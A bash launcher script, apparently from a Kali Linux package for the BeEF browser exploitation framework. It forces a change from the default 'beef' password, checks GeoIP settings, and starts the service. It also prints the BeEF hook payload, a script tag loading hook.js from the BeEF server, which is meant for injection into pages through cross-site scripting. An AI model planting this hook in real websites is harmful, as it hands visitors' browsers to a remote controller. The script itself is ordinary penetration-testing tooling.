#!/bin/env bash

## Colour for bash prompt
RED="\033[01;31m"
GREEN="\033[01;32m"
YELLOW="\033[01;33m"
RESET="\033[00m"

## Define config_file
config_file='/etc/beef-xss/config.yaml'

## Run as root
[[ $EUID -ne 0 ]] && exec sudo "$0"

## Discover port used in config
PORT=$(ruby -ryaml -e "print YAML.load_file('/etc/beef-xss/config.yaml')['beef']['http']['port']")
URL="http://127.0.0.1:${PORT}/ui/panel"

## Check if we are using default credentials
USER=$(ruby -ryaml -e "print YAML.load_file('/etc/beef-xss/config.yaml')['beef']['credentials']['user']")
PASSWD=$(ruby -ryaml -e "print YAML.load_file('/etc/beef-xss/config.yaml')['beef']['credentials']['passwd']")
if [[ $USER = "beef" ]] && [[ $PASSWD = "beef" ]]; then
    echo -e "${RED}[-]${RESET} You are using the ${RED}Default credentials${RESET}"
    while [ $PASSWD = beef ]; do
       echo -e "${RED}[-]${RESET} (Password must be different from \"beef\")"
       echo -ne "${RED}[-]${RESET} Please type a new password for the beef user: "
       read -s PASSWD
       echo ""
       ruby /usr/share/beef-xss/set-new-pass.rb $config_file $PASSWD
    done
fi

## Display warning if geoip is enabled and database is missing
GEOIP_ENABLED=$(ruby -ryaml -e "print YAML.load_file('/etc/beef-xss/config.yaml')['beef']['geoip']['enable']")
GEOIP_LOCATION=$(ruby -ryaml -e "print YAML.load_file('/etc/beef-xss/config.yaml')['beef']['geoip']['database']")
if $GEOIP_ENABLED && [ ! -e $GEOIP_LOCATION ]; then
    echo -e "${YELLOW}[i]${RESET} GeoIP database is missing"
    echo -e "${YELLOW}[i]${RESET} Run geoipupdate to download / update Maxmind GeoIP database"
fi

echo -e "${GREEN}[*]${RESET}  Web UI: ${URL}"
echo -e "${GREEN}[*]${RESET}    Hook: <script src=\"http://<IP>:${PORT}/hook.js\"></script>"
echo -e "${GREEN}[*]${RESET} Example: <script src=\"http://127.0.0.1:${PORT}/hook.js\"></script>\n"

## Start service
kali-service-start beef-xss "${PORT}" "${URL}"

